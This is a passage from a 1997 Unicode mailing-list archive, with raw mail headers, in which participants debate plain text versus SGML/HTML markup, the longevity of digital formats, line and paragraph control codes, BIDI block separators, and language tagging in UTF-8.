destroyed lots of copies, but most information of any signnificance produced in this era has been reproduced in lots of copies, and procographically recopied at a trivial cost compared to the cost of copying a manuscript by hand (which is why there were so many unique copies in Alexandria). Giles #### ## Giles Martin ####### #### Quality Control Section ################# University of Newcastle Libraries #################### New South Wales, Australia ###################* E-mail: ulgsm@dewey.newcastle.edu.au ##### ## ### Phone: +61 49 215 828 (International) Fax: +61 49 215 833 (International) ## The web of our life is of a mingled yarn, good and ill together -- All's Well That Ends Well, IV.iii.98-99 On Tue, 27 May 1997, Kenneth Whistler wrote: > P.S. For those who, like me, worry that all electronic data > not in plain text (and ASCII plain text at that) is in constant > danger of disappearing into the enormous historical bit bucket > of undecipherable formats using undecipherable encodings on > obsolete media, consider the following: Perhaps the greatest source > of information loss in the longrun was the shift by the publishing > industry to use of cheap high-acid papers early in this century. > Ask librarians about the conditions of their pre-War collections > (my nieces just asked, ""The Gulf war?"") of books. Or how about > all the nitrate movie film stock collapsing into dust? 28-May-97 2:32:39-GMT,3210;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id WAA01024 for ; Tue, 27 May 1997 22:32:38 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA25197; Tue, 27 May 97 18:53:00 -0700 Message-Id: <9705280153.AA25197@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 2734 (1997-05-28 01:52:43 GMT) To: Multiple Recipients of Reply-To: John Fieber From: ""Unicode Discussion"" Date: Tue, 27 May 1997 18:52:41 -0700 (PDT) Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) On Tue, 27 May 1997, Pierre Lewis > In message ""re:Multi-Lingual Project Gutenberg (was: Unicode plain text)"", > 'jfieber@indiana.edu' writes: > > > > Es lebe plain text! (long live ~) > > > > I find this a tragic position. Before unicode, the common > > denominator for cross-platform data transfer was 7 bit ASCII. > > Second, Unicode is something more or less orthogonal to the notion of > plain text. So I don't really understand your comment above. Plain text > does not mean 7-bit ASCII. It could just as well mean UTF-8 Unicode. >From other replies I've received I guess I wasn't clear about my point. Within the domain of ""plain text"" Unicode is doing a lot to raise the common denominator. This is great, but a sentiment has been expressed in this thread that higher level protocols are a hopeless mess and if you want portability, stick with plain text. In the near term that may be a reality but Unicode was born out of frustration with the existing mess of character encoding standards and a determination to make things better. I was simply making the observation that swearing off high level protocols because they are messy now seems very out of character with the spirit of Unicode. To clarify another posting, I did not say or mean to imply that higher level protocols should be addressed by the Unicode standard. That would be a Bad Thing for numerous reasons I'm sure you can all figure out. > Third, for all the great things that can be said for SGML, HTML, XML, > and ML, it still remains that plain text is the most portable > format, the simplest to deal with (on all platforms), and the only one > that is likely to be legible in 30 years. For some things, it's still > the best solution. Explain to me how SGML is less portable than plain text? If you don't have something that understand the tags, any reasonable text editor can strip them out leaving you with plain text. You don't need anything fancier than a text editor to create and view SGML documents. You are no *worse* off using SGML than you would be using plain text, but chances are good that you will be better off. In 30 years, SGML will still be legible because, unlike other markup schemes, it is a public standard not bound to a particular transient software product. This is why you find SGML in places like the aircraft industry where documents have active lifespans longer than most software companies. -john 28-May-97 3:24:59-GMT,2803;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id XAA06051 for ; Tue, 27 May 1997 23:24:58 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA25358; Tue, 27 May 97 19:22:40 -0700 Message-Id: <9705280222.AA25358@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 2736 (1997-05-28 02:21:41 GMT) To: Multiple Recipients of Reply-To: John Fieber From: ""Unicode Discussion"" Date: Tue, 27 May 1997 19:21:39 -0700 (PDT) Subject: Re: Unstable foundations and wavering faith On Tue, 27 May 1997, Unicode Discussion wrote: > --Ken (Color me rosy) Whistler > > P.S. For those who, like me, worry that all electronic data > not in plain text (and ASCII plain text at that) is in constant > danger of disappearing into the enormous historical bit bucket > of undecipherable formats using undecipherable encodings on > obsolete media, consider the following: Perhaps the greatest source > of information loss in the longrun was the shift by the publishing > industry to use of cheap high-acid papers early in this century. > Ask librarians about the conditions of their pre-War collections No need to worry about electronic data disappearing in the future, it has been disappearing for quite some time now thanks to being stored on flakey or obsolete media, or in undocumented data formats of long extinct software. In a former life as a librarian, I spent quite a bit of time dealing with electronic data sneaking into the library inside the back covers of books and in other ways. Librarians have been fretting over digital data for some time now. Unlike computer scientists, we have been through the preservation thing many times. It is true, a book published in the 1700 is as good as new (okay, I exagerate a bit...) while relatively recent publications turn to dust thanks to cheap paper. Most of the computer science literature has been published after the ""acid incident"" so as a discipline, they tend to be are blissfully ignorant of the event. The problem is not really that data isn't in plain text format, although that is sometimes helpful, but that the formats are (a) not documented and (b) there are way too many of them. Even if they were documented, condition (b) makes it too expensive to deal with unless it is *really* important data. SGML makes a serious attack on both problems. I just hope the marriage of SGML and Unicode in the form of XML is successful in bringing portable, durable documents to the masses. Then continue ironing out the storage media qirks and librarians will be happy. :) -john 28-May-97 3:40:48-GMT,4183;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id XAA09453 for ; Tue, 27 May 1997 23:40:48 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA25292; Tue, 27 May 97 19:17:48 -0700 Message-Id: <9705280217.AA25292@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""ISO-8859-1"" X-Uml-Sequence: 2735 (1997-05-28 02:17:31 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Tue, 27 May 1997 19:17:30 -0700 (PDT) Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by watsun.cc.columbia.edu id XAA09453 In message ""re:Multi-Lingual Project Gutenberg (was: Unicode plain text)"", 'jfieber@indiana.edu' writes: > I was simply making the observation that swearing off high level > protocols because they are messy now seems very out of character > with the spirit of Unicode. I don't see them as messy, just as short-lived. I don't perceive HTML as messy, quite the opposite (notwithstanding frequent abuse by authors such as using tags to get bold/bigger), but I don't expect to still use it in 30 years. For my part, I'm not swearing off high level protocols, but I think a very good point can be made for plain text, and I had a few questions I wished clarified wrt Unicode. That's all. > Explain to me how SGML is less portable than plain text? If you > don't have something that understand the tags, any reasonable > text editor can strip them out leaving you with plain text. I don't know SGML, but let's try the exercise with an HTML page I wrote (chosen randomly amongst the ones I can show outside): HTML source Connecting an HP LaserJet 5M at home By Pierre Lewis (aka t�l�Lew). This short page provides some notes on using an HP LaserJet 5M connected to a home setup. If you have comments or encounter problems, don't hesitate to call me (x8207). The description is specific to the HP LaserJet 5M. Some useful information can also be found on the page about connecting a LaserWriter II NTX to a home NCD. Basic connectivity The normal way to connect the LJ5M to your home setup is via the Ethernet port. This requires some kind of hub to interconnect the Gandalf box, the NCD Same with tags stripped (almost illegible: headings, bullets gone) Connecting an HP LaserJet 5M at home By Pierre Lewis (aka t�l�Lew). This short page provides some notes on using an HP LaserJet 5M connected to a home setup. If you have comments or encounter problems, don't hesitate to call me (x8207). The description is specific to the HP LaserJet 5M. Some useful information can also be found on the page about connecting a LaserWriter II NTX to a home NCD. Basic connectivity The normal way to connect the LJ5M to your home setup is via the Ethernet port. This requires some kind of hub to interconnect the Gandalf box, the NCD Same as a decent plain text file (formatted by lynx -- Tim's type 2) Connecting an HP LaserJet 5M at home _By Pierre Lewis (aka t�l�Lew)._ This short page provides some notes on using an HP LaserJet 5M connected to a home setup. If you have comments or encounter problems, don't hesitate to call me (x8207). The description is specific to the HP LaserJet 5M. Some useful information can also be found on the page about [1]connecting a LaserWriter II NTX to a home NCD. Basic connectivity * The normal way to connect the LJ5M to your home setup is via the Ethernet port. This requires some kind of hub to interconnect the Gandalf box, the NCD ... References 1. file://localhost/tmp/lw2ntx.html Wonder what the SGML version of above would look like. Pierre 28-May-97 13:18:29-GMT,1533;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id JAA13596 for ; Wed, 28 May 1997 09:18:28 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA26845; Wed, 28 May 97 05:56:52 -0700 Message-Id: <9705281256.AA26845@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 2737 (1997-05-28 12:56:14 GMT) To: Multiple Recipients of Reply-To: Kent Karlsson From: ""Unicode Discussion"" Date: Wed, 28 May 1997 05:56:12 -0700 (PDT) Subject: SGML (Was: Re: Multi-Lingual Project Gutenberg (was: Unicode plain text)) Hi! Sorry for asking a maybe trivial question (and for getting a bit off-track): > > which is English with HTML 3.2 markup What ""in English""? English markup or English ""proper text""? I could imagine (though there is none now) HTML 3.2 markup in, say, Swedish. But are you saying that if the ""proper text"" of the document is in, say, Swedish, I should write at the top, even if the markup is ""in English""? (I thought that the ""EN"" meant that the **markup** is based on English words.) And language attributes are to become a part of HTML, suitable also for multilingual ""proper texts""... (Sorry, I don't know SGML.) /kent k 28-May-97 15:48:53-GMT,3968;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id LAA15268 for ; Wed, 28 May 1997 11:48:47 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA27338; Wed, 28 May 97 07:27:59 -0700 Message-Id: <9705281427.AA27338@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2741 (1997-05-28 14:27:34 GMT) To: Multiple Recipients of Reply-To: Frank da Cruz From: ""Unicode Discussion"" Date: Wed, 28 May 1997 07:27:32 -0700 (PDT) Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) > From other replies I've received I guess I wasn't clear about my > point. Within the domain of ""plain text"" Unicode is doing a lot > to raise the common denominator. This is great, but a sentiment > has been expressed in this thread that higher level protocols are > a hopeless mess and if you want portability, stick with plain > text. In the near term that may be a reality but Unicode was > born out of frustration with the existing mess of character > encoding standards and a determination to make things better. > > I was simply making the observation that swearing off high level > protocols because they are messy now seems very out of character > with the spirit of Unicode. > Nobody advocates stamping out higher level protocols, even if that were possible. We all use them all the time. I, for one, use them with my eyes open -- i.e. with full knowledge that all the work I put into creating a ""rich"" document will need to be done again at some point when the current ""standard"" for richness has been replaced by a new one if I want the document to survive. And again. And again. I remember the excitement when it first became possible to produce typeset-quality documents with Troff, R, DSR, Scribe, TeX, and their relatives. But I also continued to produce plain-text ""documents"" on a daily basis: email; netnews; computer programs in assembly language, Sail, Simula, C, Fortran, Pascal, PL/I, etc; online documentation that had to be portable to hundreds of platforms; plain-text record-oriented databases -- mailing lists for example. There is no reason for most of this sort of information to be ""rich"" and that this type of work should not continue in Unicode. What is needed is emphatic allowance and support for Unicode plain text in the Unicode standard, i.e. a precise and thorough definition of what constitutes a self-contained preformatted plain-text document. This is primarily a matter of adopting a small but complete set of control codes needed for line breaks, paragraph breaks, page breaks, and direction control (most of these are already there), and a clear statement of the role of the ""traditional"" control characters at U+0000 - U+001F, U+007F, and U+0100 - U+011F. And outside the scope of the Unicode standard is the problem of properly tagging files in the file system. This has never been done right, on any operating system. The use of the ""extension"" (the part of the name after the dot, e.g. ""DOC"") is just plain silly, especially now that GUI-based operating systems are using this to associate applications with files -- click on a data file, launch the associated application on that file. What's silly about it is that anybody can name a file any way they please and there is no registration authority for extensions; conflicts inevitably arise -- sometimes with disastrous consequences. Even sillier is the idea the each file must belong to one and only one application. Plain text files can be used by many applications, but how do we mark them as being written in Unicode? Or Latin-1? Or JIS X 0208, etc. Ideally there should be information in the directory entry to specify the file type and encoding. That's an issue for each OS maker, but one whose resolution is long overdue. - Frank 28-May-97 23:08:37-GMT,7018;000000000001 Return-Path: Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA12580 for ; Wed, 28 May 1997 19:08:34 -0400 (EDT) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.8.5/8.8.5) with SMTP id QAA04102; Wed, 28 May 1997 16:14:11 -0500 (EST) Date: Wed, 28 May 1997 16:14:10 -0500 (EST) From: John Fieber Reply-To: John Fieber To: Frank da Cruz cc: Multiple Recipients of Subject: Plain text vs. markup (was: re:Multi-Lingual Project Gutenberg) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 28 May 1997, Frank da Cruz wrote: > Nobody advocates stamping out higher level protocols, even if that were > possible. We all use them all the time. I, for one, use them with my > eyes open -- i.e. with full knowledge that all the work I put into > creating a ""rich"" document will need to be done again at some point when > the current ""standard"" for richness has been replaced by a new one if I > want the document to survive. And again. And again. > > I remember the excitement when it first became possible to produce > typeset-quality documents with Troff, R, DSR, Scribe, TeX, and their > relatives. The transient nature of these markup languages is not a trait of markup languages, but a product of having a one-to-one relationship between the markup language and a specific piece of application software. TeX files go with TeX, troff files go with troff, Scribe files go with Scribe, WordPerfect files go with WordPerfect, MS-Word files go with MS-Word. If the application falls out of favor, it takes its markup language and data with it. Exactly the same thing happens if you depend on software that uses its own unique character encoding, or the glyph encoding of some oddball font. It is percicely this fatal one-to-one markup/application relationship that SGML is targeted at. SGML is very different beast and it is a mistake to throw it in with the rest. Claiming that SGML is just another transient markup language that doesn't address document portability is similar to saying that Unicode is just another transient character encoding scheme that doesn't address multilingual computing. Absurd? Of course. > But I also continued to produce plain-text ""documents"" on a > daily basis: email; netnews; computer programs in assembly language, > Sail, Simula, C, Fortran, Pascal, PL/I, etc; I think we differ on the notion of ""plain text"" and ""markup"". Lets see. In email for example, what is the difference between this markup: From: jfieber@indiana.edu To: Whoever@somewhere Subject: la de da blah blah blah blah... and this markup: jfieber@indiana.edu Whoever@somewhere la de da blah blah blah blah... Semantically identical. Furthermore, the correct delivery of mail and news depends critically on markup as does netnews. However you delimit it, it is still markup. Same for the computer languages. What are braces, semicolons, parentheses, and comment delimiters in C if not markup to guide the compiler in parsing the program? Incidentally, most computer languages could be expressed in SGML markup (although the utility would be dubious). Unlike other markup languages, SGML makes no assumptions about the processing application. SGML merely provides a standard way for an application to distinguish markup from data. This allows SGML to be used as a foundation for a much broader range of applications and helps ensure a long life. On the other hand, as you may guess, SGML is not a complete solution--if typesetting is your domain, for example, you will still need some software to do the layout of your data (TeX works quite well)--but SGML serves to protect your data from dependencies on specific applications. That protection facilitates exchange between applications. In one case you feed your document to a typesetter, in another case you feed it to a database, in a third case, an on-line document viewer. Portability between applications extrapolates to portability across time. HTML may be out of fashion in 20 years, but any SGML compliant application can still process it even if the degigners never heard of HTML. (You might have to make up a style sheet, but that is orders of magnitude easier than the digital archaeology required to re-invent, say troff, from a couple sample document. SGML documents come with their own rosetta stone--the DTD, or document type definition.) In an SGML world, the data drives the application, not the other way around as is the status quo currently. That is the fundamental shift that sets SGML apart from the other markup languages cited here as examples of why markup languages are to be avoided when document portability is a concern. > What is needed is emphatic allowance and support for Unicode plain text > in the Unicode standard, i.e. a precise and thorough definition of what > constitutes a self-contained preformatted plain-text document. This is > primarily a matter of adopting a small but complete set of control codes > needed for line breaks, paragraph breaks, page breaks, and direction > control (most of these are already there), and a clear statement of the > role of the ""traditional"" control characters at U+0000 - U+001F, U+007F, > and U+0100 - U+011F. I think the notion of ""plain text"" is a little muddy as these sorts of codes represent markup that is conceptually no different than, say, SGML. I fully agree, however, that there is room and a historical precedent for a small set of control (markup) codes in Unicode, but getting people to agree on what constitues ""complete"" is another matter. :) I would propose that ""complete"" be defined as a minimal set of markup codes necessary to make a document understandable by a human without resorting to anything outside the Unicode standard. Machine processing, beyond doing the Right Thing with whitespace should not be a criteria. Except for directional control, most of the necessary markup should be covered by addressing compatibility with ASCII, although clarification would be helpful. > Plain text files can be used by many applications, but how do we mark > them as being written in Unicode? Or Latin-1? Or JIS X 0208, etc. SGML offers some options here by hiding file system (or any storage mechanism) behind an entity manager which provides for such tagging. The details are not currently covered by the standard (which treats the entity manager pretty much as a black box), but the entity manager in James Clark's SP system offers a good example of how it might be done. -john 28-May-97 23:24:54-GMT,4953;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id TAA14930 for ; Wed, 28 May 1997 19:24:53 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA29376; Wed, 28 May 97 15:30:28 -0700 Message-Id: <9705282230.AA29376@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2747 (1997-05-28 22:29:45 GMT) To: Multiple Recipients of Reply-To: Frank da Cruz From: ""Unicode Discussion"" Date: Wed, 28 May 1997 15:29:43 -0700 (PDT) Subject: Re: Plain text vs. markup (was: re:Multi-Lingual Project Gutenberg) > It is percicely this fatal one-to-one markup/application > relationship that SGML is targeted at. SGML is very different > beast and it is a mistake to throw it in with the rest. Claiming > that SGML is just another transient markup language that doesn't > address document portability ... > I don't think anybody did that. But this does not mean SGML can be used for everything. > Unlike other markup languages, SGML makes no assumptions about > the processing application. > Except that it can parse SGML. I'm not arguing against SGML -- quite the opposite: I'm heavily in favor of (almost) anything that has survived the international standards process AND sees use in the real world, as opposed to schemes that companies make up and unilaterally proclaim to be standards. But SGML is to mark up text for later formatting to fit the requirements of some output device or application that understands this kind of markup. As distinguished from plain text as we have known it since the 1960s, in which a repertoire of graphic characters is mixed with a small number of control codes (call them markup if you wish) for simple actions like line breaks and so on, in order to achieve the *final* result, not (necessarily) to be input for a higher-level reformatter. > I would propose that ""complete"" be defined as a minimal set of > markup codes necessary to make a document understandable by a > human without resorting to anything outside the Unicode standard. > Machine processing, beyond doing the Right Thing with whitespace > should not be a criteria. Except for directional control, most of > the necessary markup should be covered by addressing > compatibility with ASCII, although clarification would be > helpful. > Right. Something like the following (ignoring BIDI for the moment): . LS is a hard line break. The next graphic character appears at the left margin of the following line. Equivalent to CR and LF on a Teletype. . Two LSs result in a blank line. . Three LSs result in two blank lines, and so on. . PS is a hard paragraph break (more about this below). . (form separator), whatever its instantiation (a new Unicode character, or ASCII Formfeed with a well-defined use in Unicode), starts a new page. The next graphic character appears on the top line, leftmost position of the new page. . Two FSs result in a blank page, and so on. Plus whatever is needed for specifying writing direction, including expanding on what is meant by ""left"", ""top"", etc, in the preceding items. That should do it. Personally, I find text to be most portable when it is displayed in fixed-width font, and spaces are used to line things up, rather than tabs (because tabs require external agreement about the tab settings). I don't think Vertical Tab or other obscure formatting controls (such as Line Feed taken literally) are of any use; in my experience they have always been treated as ""synonyms"" for the controls listed above. Then what to do about ASCII controls in Unicode text? I'd say that since ASCII (and Latin-x, etc) must be converted to Unicode, then it is the responsibility of the conversion agent to understand the local conventions for line breaks (etc) in the source text, and to convert to the well-defined Unicode controls. About Paragraph Separator... It seems to me that this one was designed with the ""export from word processor"" type of file in mind (those files we were discussing earlier in which each paragraph is a long line, terminated by a ""paragraph separator"" such as CR). I would not call this type of file plain text -- I would call it ""input for a text formatter""; it needs further processing to be readable. (For example, if I print such a file on the local Laserwriter, the long lines are truncated -- thus I only see the first 80 characters of each paragraph.) Clearly we can become increasingly epistemological about what constitutes plain text (yes, C source code is input for a C compiler, but it is also text to be read, understood, and edited by people, sent by email without being reformatted, etc). And obviously some details still need working out: treatment of soft hyphens and such. But I think we're on the right track. - Frank 29-May-97 4:14:06-GMT,3937;000000000001 Return-Path: Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id AAA24371 for ; Thu, 29 May 1997 00:14:05 -0400 (EDT) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.8.5/8.8.5) with SMTP id XAA06831; Wed, 28 May 1997 23:14:04 -0500 (EST) Date: Wed, 28 May 1997 23:14:03 -0500 (EST) From: John Fieber To: Frank da Cruz cc: Multiple Recipients of Subject: Re: Plain text vs. markup (was: re:Multi-Lingual Project Gutenberg) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 28 May 1997, Frank da Cruz wrote: > > It is percicely this fatal one-to-one markup/application > > relationship that SGML is targeted at. SGML is very different > > beast and it is a mistake to throw it in with the rest. Claiming > > that SGML is just another transient markup language that doesn't > > address document portability ... > I don't think anybody did that. But this does not mean SGML can > be used for everything. No, but its useful range of applications is quite a bit wider than any other markup scheme I know of. That helps a lot in building a solid foundation that won't fade away. > But SGML is to mark up text for later formatting to fit the > requirements of some output device or application that understands > this kind of markup. SGML is explicitly *not* about text formatting. It is about marking up documents describing what content *is*, not what to do with it. If markup represents typesetting instructions, that markup is good for little else. If your markup describes what the content is, you have far more options. For example, the introduction of a new term in a technical manual may be rendered in italics. You could mark it up like: new term which would be fine if the end target is a typesetter, but if you mark it up with: new term, you can still render it as italic, but you can also automatically add it to the index as the defining location of the term, or in an on-line environment if you encounter a unfamiliar term, the search engine can seek out the defining occurence if it exists. But back to your point: > As distinguished from plain text as we have ... > so on, in order to achieve the *final* result, not (necessarily) to > be input for a higher-level reformatter. Yes, though I would argue at length why SGML markup is well worth the extra effort, I'll also agree that this minimalist approach to document portability deserves support. > Then what to do about ASCII controls in Unicode text? I'd say > that since ASCII (and Latin-x, etc) must be converted to Unicode, > then it is the responsibility of the conversion agent to > understand the local conventions for line breaks (etc) in the > source text, and to convert to the well-defined Unicode controls. The only hitch for 7-bit ASCII is utf-8, which can be seen as a convenient way to avoid the explicit conversion process of legacy data. If your external storage is utf-8, how can you reliably tell what has been converted and what has not? > Clearly we can become increasingly epistemological about what > constitutes plain text (yes, C source code is input for a C > compiler, but it is also text to be read, understood, and edited > by people, sent by email without being reformatted, etc). After pondering it for awhile, I cut that section out of my last post. :) One sentence summary: some markup scheme cater to human processing, others to machine processing, and yet others, most notably programming languages, work hard to satisfy both needs. -john 29-May-97 14:32:08-GMT,1718;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id KAA14517 for ; Thu, 29 May 1997 10:32:07 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA01680; Thu, 29 May 97 06:53:02 -0700 Message-Id: <9705291353.AA01680@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2753 (1997-05-29 13:52:26 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Thu, 29 May 1997 06:52:24 -0700 (PDT) Subject: Re: Plain text vs. markup (was: re:Multi-Lingual Project Gutenberg) In message ""Re: Plain text vs. markup (was: re:Multi-Lingual Project Gutenberg)"", 'fdc@watsun.cc.columbia.edu' writes: > Right. Something like the following (ignoring BIDI for the moment): > ... (details removed) BIDI is what I think makes it difficult. Without BIDI, I would be tempted to stick to local Unix/MAC/DOS conventions for C0 chars, add maybe BOM and ISS (or whatever). But BIDI works in blocks. Currently both LS and PS are block separators. It's been said here that probably LS shouldn't be a BIDI block separator. That leaves PS. And I have to use it (in partic. if I have both right- and left-aligned sections). So can I mix PS with LS (or LF) and FF? Looks funny. Maybe it is an error to have PS function as both a paragraph separator (whatever that is -- I too feel it probably comes from WP context) *and* a BIDI block separator. Maybe it would have been better to have a BIDI block separator as a separate Unicode control char, independant of any formatting intents. Just a thought, Pierre 6-Jun-97 2:39:06-GMT,3185;000000000001 Return-Path: Received: from mail-out1.apple.com (A17-254-0-52.apple.com [17.254.0.52]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id WAA10937 for ; Thu, 5 Jun 1997 22:39:05 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by mail-out1.apple.com (8.8.5/8.8.5) with SMTP id TAA14624; Thu, 5 Jun 1997 19:25:14 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA00269; Thu, 5 Jun 97 19:21:45 -0700 Message-Id: <9706060221.AA00269@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-Uml-Sequence: 2832 (1997-06-06 02:21:05 GMT) To: Multiple Recipients of Reply-To: Adrian Havill From: ""Unicode Discussion"" Date: Thu, 5 Jun 1997 19:21:03 -0700 (PDT) Subject: Re: Comments on ? Tim Partridge wrote: > I agree with his point of view that the tags > should be at the character level and not just > in the UTF-8 format. > > How about using Escape sequences? Ugh. The relatively few escape sequences at the character level is what makes Unicode so ATTRACTIVE, esp. to those that currently use escape sequence based character sets. (Tools to repair broken escape codes in JIS are almost standard equipment with most Japanese computer systems) Not to mention the complexity they add to simple and elegant string manipulation functions... processing escape codes can sometimes bump the algorithm efficiency up by one O() level. Put in escape codes at the character level, and Unicode begins to lose the simplicity factor, and becomes just another mammoth character set that nobody can or will implement--there are plenty out there. If I wanted escape sequences, I could choose from a lot of other character sets that are already out there. If you want a complicated character system that does tags and everything, there are plenty to choose from-- Unicode basher Prof. Ken Sakamura (U. of Tokyo) and Co. would be more than happy to tout the virtues of TRON, which is loaded with escape sequences galore. The TRON project has made a religion out of bad-mouthing Unicode, much like the computer industry has made a religion out of bad-mouthing a certain software firm in Redmond, Washington (who make a darn fine Unicode based OS, I might add). They have to-- they have to justify that the years of blood, sweat, tears (and most importantly, money) they've used making -their- worldwide standard character set has not repeated work that's already here and in use and better. (see and ) Granted, Unicode is complicated. It will get more complicated. This is a fact of life as representing languages is complicated. But I'd hope the character level stays as simple as possible, for those that need simplicity. I do NOT agree that tags should be at the character level. -- Adrian Havill Engineering Division, System Planning & Production Section 6-Jun-97 14:37:44-GMT,2109;000000000011 Return-Path: Received: from mail-out1.apple.com (A17-254-0-52.apple.com [17.254.0.52]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id KAA18800 for ; Fri, 6 Jun 1997 10:37:43 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by mail-out1.apple.com (8.8.5/8.8.5) with SMTP id HAA12466; Fri, 6 Jun 1997 07:22:02 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA02593; Fri, 6 Jun 97 07:16:28 -0700 Message-Id: <9706061416.AA02593@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2847 (1997-06-06 14:14:18 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Fri, 6 Jun 1997 07:14:17 -0700 (PDT) Subject: Re: Comments on ? In message ""Re: Comments on ?"", 'glenn@spyglass.com' writes: > I'd like to briefly summarize some of the positions taken on various > sides in this discussion. Thanks, very useful (esp. for one who didn't have the time to read all the posts carefully). I haven't read the MLSF yet (will do this weekend), but I'm sure I still won't agree with putting this tagging in UTF-8. UTF-8 is nothing more than one of many possible transformation formats, and it must always be possible to move between it and UCS-2 and other UTFs. Filters surely will (and almost certainly already do) exist to transform between these various CESs. What would they do with language tagging? > My personal position on the above is that an alternative non-UCD (i.e., > standard code assignment) approach is preferred. Its only negatives are > (a) opposition from (1) above and (b) the time required to make actual > code assignments. Sounds to me like the only possible approach, assuming language tagging is needed at the plain-text level (I don't have the knowledge to comment on that). Pierre P.S. What happened to the ""unicode plain-text file"" thread? Seems it died very suddenly (with no closure)! Maybe it was displaced by this new thread :-). 6-Jun-97 15:15:46-GMT,1789;000000000001 Return-Path: Received: from mail-out1.apple.com (A17-254-0-52.apple.com [17.254.0.52]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id LAA26420 for ; Fri, 6 Jun 1997 11:15:45 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by mail-out1.apple.com (8.8.5/8.8.5) with SMTP id IAA11222; Fri, 6 Jun 1997 08:03:32 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA02791; Fri, 6 Jun 97 07:57:13 -0700 Message-Id: <9706061457.AA02791@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2848 (1997-06-06 14:56:16 GMT) To: Multiple Recipients of Reply-To: Frank da Cruz From: ""Unicode Discussion"" Date: Fri, 6 Jun 1997 07:56:15 -0700 (PDT) Subject: Re: Comments on ? > P.S. What happened to the ""unicode plain-text file"" thread? Seems it > died very suddenly (with no closure)! Maybe it was displaced by this > new thread :-). > It seems as if this is trying to become a plain-text issue. I hope not. Plain text is supposed to be a simple sequence of *characters* and minimal formatting information (hard spaces, line breaks, page breaks, and in the case of Unicode, directionality indicators), irrespective of language, containing no mysterious metacodes. (Let's agree that hard line and page breaks are not mysterious metacodes.) In view of the temperature surrounding the language-tagging issue, the solution is not going to be simple or stable or soon to come, and therefore I believe it falls outside the scope of plain text, which by definition should be simple and stable and long-lasting. Language tags will be constantly changing and surrounded by politics and emotion. - Frank 7-Jun-97 16:38:53-GMT,1467;000000000001 Return-Path: Received: from mail-out2.apple.com (A17-254-0-51.apple.com [17.254.0.51]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA02679 for ; Sat, 7 Jun 1997 12:38:52 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by mail-out2.apple.com (8.8.5/8.8.5) with SMTP id JAA07384; Sat, 7 Jun 1997 09:27:30 -0700 Received: by unicode.org (NX5.67g/NX3.0S) 